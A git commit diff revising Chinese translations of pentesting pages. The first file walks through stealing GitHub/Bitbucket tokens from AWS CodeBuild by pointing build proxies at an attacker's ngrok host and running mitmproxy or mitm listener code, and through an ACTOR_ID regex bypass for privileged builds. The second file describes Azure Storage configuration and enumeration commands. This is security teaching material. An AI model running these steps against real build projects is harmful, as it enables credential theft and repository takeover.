Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor

2026-07-28 22:51:09 -07:00 · 2026-01-18 22:38:38 +00:00
parent 037b82d5df
commit df896e46e2
2 changed files with 126 additions and 126 deletions
@@ -2,47 +2,47 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## 恢复已配置的 Github/Bitbucket Tokens
+## 恢复 Github/Bitbucket 已配置的 Tokens

-首先，检查是否存在任何已配置的源凭证，你可以 leak：
+首先，检查是否存在任何已配置的源凭证，你可能会 leak:
 ```bash
 aws codebuild list-source-credentials
 ```
-### Via Docker Image
+### 通过 Docker Image

-如果你发现该账号中对例如 Github 的认证已设置，你可以通过让 Codebuild **use an specific docker image** 来运行项目构建，从而 **exfiltrate** 那个 **access**（**GH token or OAuth token**）。
+如果你发现例如在账户中设置了对 Github 的认证，你可以通过让 Codebuild 使用一个特定的 docker image 来运行项目构建，从而 **exfiltrate** 那个 **access**（**GH token or OAuth token**）。

-为此你可以 **create a new Codebuild project** 或更改现有项目的 **环境** 来设置 **Docker image**。
+为此你可以 **create a new Codebuild project** 或更改现有项目的 **environment** 来设置 **Docker image**。

-你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image，会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截由 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量，并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。
+你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image，会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截位于 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量，并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。

 1. **Create & Upload your own Docker MitM image**
- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书，然后 **build the docker image**。
+- 按照该 repo 的说明设置你的代理 IP 地址并配置 SSL 证书，然后 **build the docker image**。
 - **DO NOT SET `http_proxy`**，以免拦截到 metadata endpoint 的请求。
- 你可以使用 **`ngrok`**，例如 `ngrok tcp 4444` 将代理指向你的主机
- 一旦构建好 Docker image，**upload it to a public repo**（Dockerhub、ECR...）
+- 你可以使用 **`ngrok`**，例如 `ngrok tcp 4444`，将代理指向你的主机。
+- 一旦构建好 Docker image，**upload it to a public repo**（Dockerhub, ECR...）
 2. **Set the environment**
- 创建一个 **new Codebuild project** 或 **modify** 现有项目的环境。
+- 创建一个 **new Codebuild project** 或 **modify** 现有项目的 environment。
 - 将项目设置为使用 **previously generated Docker image**

 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

 3. **Set the MitM proxy in your host**

- 如 **Github repo** 所示，你可以使用类似：
+- 如 **Github repo** 中所示，你可以使用类似如下的方式：
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
 > [!TIP]
-> 使用的 **mitmproxy 版本是 9.0.1**，有报道称在版本 10 上这可能无法工作。
+> 使用的 **mitmproxy 版本是 9.0.1**，有报告称在版本 10 上这可能无法工作。

 4. **运行构建并捕获凭证**

- 你可以在 **Authorization** 标头中看到 token：
+- 你可以在 **Authorization** header 中看到 token：

 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

-这也可以通过 aws cli 完成，例如：
+这也可以通过 aws cli 来完成，例如：
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
 ```
 ### 通过 insecureSSL

-**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置，这个设置在 web 界面中是隐藏的，只能通过 API 修改.\
-启用后，允许 Codebuild 在连接到仓库时**不校验平台提供的证书**。
+**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置，该设置在 web 中是隐藏的，只能通过 **API** 更改。\
+启用后，允许 **Codebuild** 在不验证平台提供的证书的情况下连接到该 **repository**。

- 首先需要用类似下面的命令枚举当前配置：
+- 首先你需要 enumerate 当前配置，类似如下：
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
- 然后，使用收集到的信息，你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例，注意末尾的 **`insecureSsl=True`**（这是你需要从收集到的配置中更改的唯一一项）。
- 此外，还要添加环境变量 **http_proxy** 和 **https_proxy** 指向你的 tcp ngrok，例如：
+- 然后，使用收集到的信息你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例，注意末尾的 **`insecureSsl=True`**（这是从收集到的配置中你需要更改的唯一项）。
+- 此外，还要添加环境变量 **http_proxy** 和 **https_proxy**，指向你的 tcp ngrok，如下所示：
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
 ]
 }'
 ```
- 然后，在代理变量（http_proxy 和 https_proxy）所指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
+- 然后，在由代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
 ```python
 from mitm import MITM, protocol, middleware, crypto

@@ -128,23 +128,23 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- 最后，点击 **构建项目 (Build the project)**，这些 **credentials** 将以 **明文**（base64）发送到 mitm 端口：
+- 最后，点击 **Build the project**，**credentials** 将以明文（base64）发送到 mitm 端口：

 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

-### ~~通过 HTTP 协议~~
+### ~~Via HTTP protocol~~

-> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那一周被 AWS 修复（我想是周五）。因此攻击者无法再滥用它 :)**
+> [!TIP] > **此漏洞在 2023 年 2 月 20 日那周的某个时间被 AWS 修复（我记得是周五）。因此攻击者现在无法再利用它 :)**

-具有对 CodeBuild 提权的攻击者可能会 leak 已配置的 Github/Bitbucket token，或者如果权限通过 OAuth 配置，则会 leak 用于访问代码的临时 OAuth token。
+具有对 CodeBuild 提升权限的攻击者可能会 leak 已配置的 Github/Bitbucket token；或者如果权限是通过 OAuth 配置的，可能会 leak 用于访问代码的临时 OAuth token。

- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy** 指向其机器（例如 `http://5.tcp.eu.ngrok.io:14972`）。
+- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy**，指向其机器（例如 `http://5.tcp.eu.ngrok.io:14972`）。

 <figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- 然后，将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS，例如：`http://github.com/carlospolop-forks/TestActions`
+- 然后，将 github 仓库的 URL 从 HTTPS 改为 HTTP，例如：`http://github.com/carlospolop-forks/TestActions`
 - 然后，在由代理变量（http_proxy 和 https_proxy）指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
 ```python
 from mitm import MITM, protocol, middleware, crypto
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- 接下来，点击 **构建项目** 或从命令行启动构建：
+- 接下来，点击 **Build the project** 或从命令行启动构建：
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
- 最后，**credentials** 将以**明文**（base64）发送到 mitm 端口：
+- 最终，**credentials** 将以**明文**（base64）发送到 mitm 端口：

 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

 > [!WARNING]
-> 现在攻击者可以在其机器上使用该 token，列出其拥有的所有权限，并比直接使用 CodeBuild 服务更容易地滥用它。
+> 现在攻击者将能够在其机器上使用 token，列出它拥有的所有权限，并且比直接使用 CodeBuild 服务更容易对其进行（滥）用。

-## Webhook filter ACTOR_ID regex allowlist 绕过（PR 触发的特权构建）
+## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)

-配置错误的 CodeBuild GitHub webhook 使用未加锚点的 `ACTOR_ID` regex 时，会允许 *untrusted* PR 启动特权构建。如果 allowlist 写成 `123456|7890123` 而没有 `^`/`$`，任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的，攻击者可以争先注册一个 “eclipsing” ID（包含受信任 ID 的超串），从而触发构建。
+使用未加锚定 `ACTOR_ID` regex 的错误配置 CodeBuild GitHub webhooks 会允许 *untrusted* PR 启动特权构建。如果 allowlist 像 `123456|7890123` 且没有 `^`/`$`，任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的，攻击者可以竞争注册一个 “eclipsing” ID（受信 ID 的超串），并触发构建。

-**Exploit path**
+**利用路径**

-1. 查找公开的 CodeBuild 项目，暴露 webhook filters 并提取未加锚点的 `ACTOR_ID` allowlist。
-2. 获得一个 eclipsing GitHub ID：
- 通过创建/删除 GitHub orgs 来抽样全局 ID 计数器（org IDs 共享该池）。
- 预先准备大量 GitHub App manifest 的创建请求，当计数器接近目标约 100 个 ID 时，触发确认 URL 以突发性注册一个包含受信任子串的 bot ID。
-3. 用 eclipsing 账户发起 PR；regex 会匹配该子串，从而运行特权构建。
-4. 利用构建 RCE（例如依赖安装钩子）转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。
-5. 使用该 token 的 `repo` scope，将你的账户邀请为 collaborator/admin，推送/批准恶意提交或外泄 secrets。
+1. 找到公开的 CodeBuild 项目，这些项目暴露了 webhook 过滤器并提取未加锚定的 `ACTOR_ID` allowlist。
+2. 获取一个 eclipsing GitHub ID：
+- 通过创建/删除 GitHub 组织来采样全局 ID 计数器（org IDs 与用户 ID 共享池）。
+- 预先排队大量 GitHub App manifest 的创建，并在计数器接近目标约 ~100 个 ID 时触发确认 URL，以突发注册一个包含受信子串的 bot ID。
+3. 使用该 eclipsing 账户打开 PR；regex 会匹配该子串，从而触发特权构建运行。
+4. 利用构建时的 RCE（例如，依赖安装的 hooks）转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。
+5. 使用该 token 的 `repo` scope，将你的账号邀请为 collaborator/admin，然后推送/批准恶意提交或外发 secrets。

 ## References
 - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
@@ -4,72 +4,72 @@

 ## 基本信息

-Azure Storage Accounts 是 Microsoft Azure 中的基础服务，提供可扩展、安全且高度可用的云 **用于多种数据类型的存储**，包括 blobs (binary large objects)、files、queues 和 tables。它们作为容器，将这些不同的存储服务在单一命名空间下分组以便于管理。
+Azure Storage Accounts 是 Microsoft Azure 中的基础服务，提供可扩展、安全且高可用的云 **用于各种数据类型的存储**，包括 blobs (binary large objects)、files、queues 和 tables。它们作为容器，将这些不同的存储服务组合在单一命名空间下以便于管理。

 **主要配置选项**：

- 每个 storage account 必须有一个 **在整个 Azure 中唯一的名称**。
- 每个 storage account 部署在一个 **region** 或在 Azure extended zone。
+- 每个 storage account 必须在 **整个 Azure 中具有唯一名称**。
+- 每个 storage account 部署在一个 **region** 或 Azure extended zone 中。
 - 可以选择 storage account 的 **premium** 版本以获得更好的性能。
- 可以在 **4 种冗余类型之间选择以防护** 机架、驱动器和数据中心 **故障**。
+- 可以在 **4 种冗余类型** 中选择，以防护机架、磁盘和数据中心级别的 **故障**。

 **安全配置选项**：

- **Require secure transfer for REST API operations**：要求与 storage 的任何通信使用 TLS
- **Allows enabling anonymous access on individual containers**：如果不允许，将来无法为单独容器启用匿名访问
- **Enable storage account key access**：如果未启用，将禁止使用 Shared Keys 访问
+- **Require secure transfer for REST API operations**：要求所有与 storage 的通信使用 TLS。
+- **Allows enabling anonymous access on individual containers**：如果未启用，将来无法为容器启用匿名访问。
+- **Enable storage account key access**：如果未启用，则 Shared Keys 访问将被禁止。
 - **Minimum TLS version**
- **Permitted scope for copy operations**：允许来自任何 storage account、来自同一 Entra tenant 的任何 storage account，或来自在同一虚拟网络中具有 private endpoints 的 storage account。
+- **Permitted scope for copy operations**：允许来自任意 storage account、来自相同 Entra tenant 的任意 storage account，或来自同一虚拟网络内具有 private endpoints 的 storage account。

-**Blob Storage 选项**：
+**Blob Storage options**：

 - **Allow cross-tenant replication**
 - **Access tier**：Hot（频繁访问的数据）、Cool 和 Cold（很少访问的数据）

-**网络选项**：
+**Networking options**：

 - **Network access**：
-  - 允许来自所有网络
-  - 允许来自选定的虚拟网络和 IP 地址
-  - 禁用公共访问并使用私有访问
+- Allow from all networks
+- Allow from selected virtual networks and IP addresses
+- Disable public access and use private access
 - **Private endpoints**：允许从虚拟网络到 storage account 的私有连接

-**数据保护选项**：
+**Data protection options**：

- **Point-in-time restore for containers**：允许将容器还原到较早的状态
+- **Point-in-time restore for containers**：允许将容器恢复到较早的状态
 - 它需要启用 versioning、change feed 和 blob soft delete。
- **Enable soft delete for blobs**：为已删除的 blobs（即使被覆盖）启用以天为单位的保留期
+- **Enable soft delete for blobs**：为已删除的 blob（即使被覆盖）启用以天为单位的保留期
 - **Enable soft delete for containers**：为已删除的容器启用以天为单位的保留期
- **Enable soft delete for file shares**：为已删除的 file shares 启用以天为单位的保留期
- **Enable versioning for blobs**：保留 blob 的历史版本
- **Enable blob change feed**：记录对 blobs 的创建、修改和删除变化日志
- **Enable version-level immutability support**：允许在账户级别设置基于时间的保留策略，该策略将应用于所有 blob 版本。
- Version-level immutability support 和 point-in-time restore for containers 不能同时启用。
+- **Enable soft delete for file shares**：为已删除的 file share 启用以天为单位的保留期
+- **Enable versioning for blobs**：保存 blob 的历史版本
+- **Enable blob change feed**：记录 blob 的创建、修改和删除变更日志
+- **Enable version-level immutability support**：允许在 account 级别设置基于时间的保留策略，该策略将应用于所有 blob 版本。
+- Version-level immutability support 和 point-in-time restore for containers 无法同时启用。

-**加密配置选项**：
+**Encryption configuration options**：

 - **Encryption type**：可以使用 Microsoft-managed keys (MMK) 或 Customer-managed keys (CMK)
- **Enable infrastructure encryption**：允许对数据进行双重加密，以“增强安全性”
+- **Enable infrastructure encryption**：允许对数据进行双重加密以“提高安全性”

-### 存储端点
+### Storage endpoints

-<table data-header-hidden><thead><tr><th width="197">存储服务</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>

-### 公共暴露
+### 公开暴露

 如果 "Allow Blob public access" 被 **启用**（默认禁用），在创建容器时可以：

- 允许 **public access to read blobs**（需要知道容器名称）。
- 列出容器中的 blobs 并读取它们。
- 将其设置为完全 **私有**
+- 赋予 **public access to read blobs**（你需要知道名称）。
+- **List container blobs** 并 **读取** 它们。
+- 将容器设置为完全 **private**

 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>

-### Static website (`$web`) 暴露 & leaked secrets
+### Static website (`$web`) exposure & leaked secrets

- **Static websites** 从特殊的 `$web` 容器通过区域特定的端点提供，例如 `https://<account>.z13.web.core.windows.net/`。
- 通过 blob API `$web` 容器可能会报告 `publicAccess: null`，但文件仍可通过静态站点端点访问，因此将配置/IaC 工件放在那里可能会 leak secrets。
- 快速审计工作流程：
+- **Static websites** 通过专用的 `$web` 容器从区域特定的端点提供，例如 `https://<account>.z13.web.core.windows.net/`。
+- `$web` 容器可能通过 blob API 报告 `publicAccess: null`，但文件仍可通过静态站点端点访问，因此将 config/IaC 工件放在那里可能会导致 secrets 被 leaked。
+- 快速审计工作流：
 ```bash
 # Identify storage accounts with static website hosting enabled
 az storage blob service-properties show --account-name <acc-name> --auth-mode login
@@ -82,19 +82,19 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou
 ```
 ### 审计匿名 blob 暴露

- **定位可能暴露数据的 storage accounts**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. 如果 `allowBlobPublicAccess` 是 `false`，你无法将 containers 设为 public.
- **检查存在风险的 storage accounts** 以确认 `allowBlobPublicAccess` 标志和其他弱配置: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **枚举启用该标志的 containers 的暴露情况** where the flag is enabled:
+- **定位 storage accounts** 可暴露数据: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`。如果 `allowBlobPublicAccess` 为 `false`，你无法将 containers 设为公开。
+- **检查有风险的 storage accounts** 以确认该标志和其他弱配置: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`。
+- **枚举 container 级别的暴露**（在该标志启用的情况下）:
 ```bash
 az storage container list --account-name <acc> \
 --query '[].{name:name, access:properties.publicAccess}'
 ```
- `"Blob"`: 匿名读取仅在已知 blob 名称时允许（不允许列出）。
- `"Container"`: 匿名对每个 blob 的**列出 + 读取**。
- `null`: 私有；需要认证。
- **证明访问** 无需凭据：
- 如果 `publicAccess` 是 `Container`，匿名列出可行： `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- 对于 `Blob` 和 `Container`，当名称已知时，匿名 blob 下载可行：
+- `"Blob"`: 匿名读取被允许 **仅当已知 blob 名称时** (不可列出).
+- `"Container"`: 匿名 **列出 + 读取** 每个 blob.
+- `null`: 私有；需要认证.
+- **在无凭证情况下证明访问**:
+- 如果 `publicAccess` 是 `Container`，匿名列出有效: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
+- 对于 `Blob` 和 `Container`，当名称已知时，匿名下载 blob 有效:
 ```bash
 az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
 # or via raw HTTP
@@ -102,31 +102,31 @@ curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
 ```
 ### 连接到存储

-如果发现可以连接的 **存储**，可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来连接。
+如果发现任何可以连接的 **存储**，可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来进行连接。

 ## 访问存储 <a href="#about-blob-storage" id="about-blob-storage"></a>

 ### RBAC

-可以使用 Entra ID 主体与 **RBAC roles** 来访问存储账户，这是推荐的方式。
+可以使用 Entra ID principals 与 **RBAC roles** 来访问 storage accounts，这是推荐的方式。

-### 访问密钥
+### Access Keys

-存储账户有可用于访问的访问密钥。这会提供对存储账户的**完全访问权限**。
+storage accounts 有可以用来访问它的 access keys。 这会提供对存储账户的 f**ull access to the storage account.**

 <figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>

 ### **Shared Keys & Lite Shared Keys**

-可以使用访问密钥[**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) 签名，从而通过签名 URL 授权对特定资源的访问。
+可以通过使用 access keys 签名来[**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)，以通过签名 URL 授权对某些资源的访问。

 > [!NOTE]
-> 注意 `CanonicalizedResource` 部分表示存储服务的资源 (URI)。如果 URL 的任何部分被编码，那么在 `CanonicalizedResource` 内也应进行相应编码。
+> 注意 `CanonicalizedResource` 部分表示存储服务资源 (URI)。如果 URL 中的任何部分被编码，则在 `CanonicalizedResource` 内也应进行编码。

 > [!NOTE]
-> 这是 **默认被 `az` cli 使用** 来对请求进行认证。若要让其使用 Entra ID 主体凭据，请指定参数 `--auth-mode login`。
+> 这 **在默认情况下由 `az` cli 使用** 来验证请求。要使其使用 Entra ID principal 的凭证，请指定参数 `--auth-mode login`。

- 可以通过对以下信息进行签名来生成 **shared key for blob, queue and file services**：
+- 可以通过签名以下信息来生成用于 blob, queue 和 file services 的 **shared key**：
 ```bash
 StringToSign = VERB + "\n" +
 Content-Encoding + "\n" +
@@ -143,7 +143,7 @@ Range + "\n" +
 CanonicalizedHeaders +
 CanonicalizedResource;
 ```
- 可以通过对以下信息进行签名来生成 **shared key for table services**：
+- 可以通过签署以下信息来生成一个 **shared key for table services**：
 ```bash
 StringToSign = VERB + "\n" +
 Content-MD5 + "\n" +
@@ -151,7 +151,7 @@ Content-Type + "\n" +
 Date + "\n" +
 CanonicalizedResource;
 ```
- 可以通过签署以下信息生成 **lite shared key for blob, queue and file services**：
+- 可以通过对以下信息进行签名来生成 **lite shared key for blob, queue and file services**：
 ```bash
 StringToSign = VERB + "\n" +
 Content-MD5 + "\n" +
@@ -165,7 +165,7 @@ CanonicalizedResource;
 StringToSign = Date + "\n"
 CanonicalizedResource
 ```
-然后，要使用该密钥，可以在 Authorization header 中按以下语法进行：
+然后，要使用该密钥，可以在 Authorization 头中按以下语法进行：
 ```bash
 Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
 #e.g.
@@ -179,76 +179,76 @@ Content-Length: 0
 ```
 ### **共享访问签名** (SAS)

-Shared Access Signatures (SAS) 是安全的、时限性的 URL，允许在不暴露 Azure Storage 账户访问密钥的情况下向资源授予特定访问权限。访问密钥提供对所有资源的完整管理访问，而 SAS 通过指定权限（如读或写）并定义到期时间，允许更精细的控制。
+Shared Access Signatures (SAS) 是安全的、限时的 URL，允许在不暴露账户访问密钥的情况下，授予对 Azure Storage 帐户中资源的特定访问权限。虽然访问密钥提供对所有资源的完整管理员访问权限，SAS 通过指定权限（例如读取或写入）并定义过期时间，实现了更细粒度的控制。

 #### SAS 类型

- **用户委派 SAS**: 由 **Entra ID 主体** 创建，主体会对 SAS 签名并将用户的权限委派给该 SAS。它只能用于 **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。可以 **撤销** 所有已生成的用户委派 SAS。
- 即使可以生成权限“多于”用户实际拥有权限的委派 SAS，但如果该主体并不具备那些权限，SAS 将无法生效（no privesc）。
- **服务 SAS**: 使用存储账户的某个 **访问密钥** 进行签名。可用于授予单个存储服务中特定资源的访问权限。如果该密钥被更新，SAS 将停止工作。
- **账户 SAS**: 同样由存储账户的某个 **访问密钥** 签名。它授予跨存储账户服务（Blob、Queue、Table、File）的资源访问权限，并可包含服务级别操作。
+- **User delegation SAS**：由一个 **Entra ID principal** 创建，该主体将为 SAS 签名并将用户的权限委派给 SAS。它只能与 **blob and data lake storage** 一起使用（[docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)）。可以 **撤销** 所有已生成的用户委派 SAS。
+- 即便可以生成比用户本身拥有的更多权限的 delegation SAS，如果该 principal 本身没有那些权限，SAS 也无法生效（不会发生 privesc）。
+- **Service SAS**：使用存储账户的某个 **access keys** 进行签名。可用于授予对单个存储服务中特定资源的访问。如果密钥被更新，SAS 将停止工作。
+- **Account SAS**：同样使用存储账户的某个 **access keys** 签名。它授予跨存储账户服务（Blob、Queue、Table、File）的资源访问权限，并可包含服务级操作。

-由 **访问密钥** 签名的 SAS URL 如下所示：
+由 **access key** 签名的 SAS URL 看起来像这样：

 - `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`

-以 **用户委派** 签名的 SAS URL 如下：
+以 **user delegation** 签名的 SAS URL 看起来像这样：

 - `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`

-注意一些 **HTTP 参数**：
+注意一些 **http params**：

- **`se`** 参数表示 SAS 的 **到期日期**
- **`sp`** 参数表示 SAS 的 **权限**
- **`sig`** 是用于验证 SAS 的 **签名**
+- 参数 **`se`** 指示 SAS 的 **过期日期**
+- 参数 **`sp`** 指示 SAS 的 **权限**
+- **`sig`** 是验证 SAS 的 **签名**

 #### SAS 权限

-生成 SAS 时需要指明它应授予的权限。根据所针对的对象不同，可能包含不同的权限。例如：
+生成 SAS 时需要指明应授予的权限。根据 SAS 所针对的对象不同，可能包含不同的权限。例如：

 - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete

-## SFTP 对 Azure Blob Storage 的支持
+## SFTP Support for Azure Blob Storage

-Azure Blob Storage 现在支持 SSH 文件传输协议 (SFTP)，使得可以直接对 Blob Storage 进行安全的文件传输和管理，而无需自定义解决方案或第三方产品。
+Azure Blob Storage 现在支持 SSH File Transfer Protocol (SFTP)，允许直接向 Blob Storage 进行安全的文件传输和管理，而无需自定义解决方案或第三方产品。

 ### 主要特性

- 协议支持：SFTP 可用于启用了 分层命名空间 (HNS) 的 Blob Storage 账户。这样可以将 blobs 组织为目录和子目录，便于导航。
- 安全：SFTP 使用本地用户身份进行认证，不与 RBAC 或 ABAC 集成。每个本地用户可以通过以下方式进行认证：
-  - Azure 生成的密码
-  - 公/私 SSH 密钥对
- 细粒度权限：可以为本地用户在最多 100 个容器上分配如读取、写入、删除和列出等权限。
- 网络考虑：SFTP 通过端口 22 建立连接。Azure 支持防火墙、private endpoints 或虚拟网络等网络配置，以保护 SFTP 流量。
+- Protocol Support：SFTP 适用于配置了 hierarchical namespace (HNS) 的 Blob Storage 帐户。这会将 blobs 组织为目录和子目录，便于导航。
+- Security：SFTP 使用本地用户标识进行身份验证，不与 RBAC 或 ABAC 集成。每个本地用户可以通过以下方式进行身份验证：
+  - Azure-generated passwords
+  - Public-private SSH key pairs
+- Granular Permissions：可以为本地用户在最多 100 个容器上分配诸如 Read、Write、Delete 和 List 的权限。
+- Networking Considerations：SFTP 通过端口 22 建立连接。Azure 支持防火墙、private endpoints 或虚拟网络等网络配置，以保护 SFTP 流量。

-### 设置要求
+### 配置要求

- 分层命名空间：在创建存储账户时必须启用 HNS。
- 支持的加密：需要 Microsoft Security Development Lifecycle (SDL) 批准的加密算法（例如 rsa-sha2-256、ecdsa-sha2-nistp256）。
- SFTP 配置：
-  - 在存储账户上启用 SFTP。
-  - 创建具有适当权限的本地用户身份。
-  - 为用户配置主目录，以定义他们在容器内的起始位置。
+- Hierarchical Namespace：在创建存储帐户时必须启用 HNS。
+- Supported Encryption：要求使用 Microsoft Security Development Lifecycle (SDL) 批准的加密算法（例如 rsa-sha2-256、ecdsa-sha2-nistp256）。
+- SFTP Configuration：
+  - 在存储帐户上启用 SFTP。
+  - 创建具有适当权限的本地用户标识。
+  - 为用户配置 home directories，以定义其在容器内的起始位置。

 ### 权限

-| 权限                   | 符号   | 说明                                 |
+| Permission             | Symbol | Description                          |
 | ---------------------- | ------ | ------------------------------------ |
 | **读取**               | `r`    | 读取文件内容。                       |
 | **写入**               | `w`    | 上传文件并创建目录。                 |
 | **列出**               | `l`    | 列出目录内容。                       |
 | **删除**               | `d`    | 删除文件或目录。                     |
 | **创建**               | `c`    | 创建文件或目录。                     |
-| **修改所有权**         | `o`    | 更改所属用户或组。                   |
-| **修改权限**           | `p`    | 更改文件或目录的 ACL。               |
+| **修改所有者**         | `o`    | 更改拥有用户或组。                   |
+| **修改权限**           | `p`    | 更改文件或目录的 ACLs。              |

-## 枚举
+## Enumeration

 {{#tabs }}
 {{#tab name="az cli" }}

 <details>
-<summary>az cli 枚举</summary>
+<summary>az cli enumeration</summary>
 ```bash
 # Get storage accounts
 az storage account list #Get the account name from here
@@ -372,7 +372,7 @@ az storage account local-user list \
 {{#tab name="Az PowerShell" }}

 <details>
-<summary>Az PowerShell 枚举</summary>
+<summary>Az PowerShell enumeration</summary>
 ```powershell
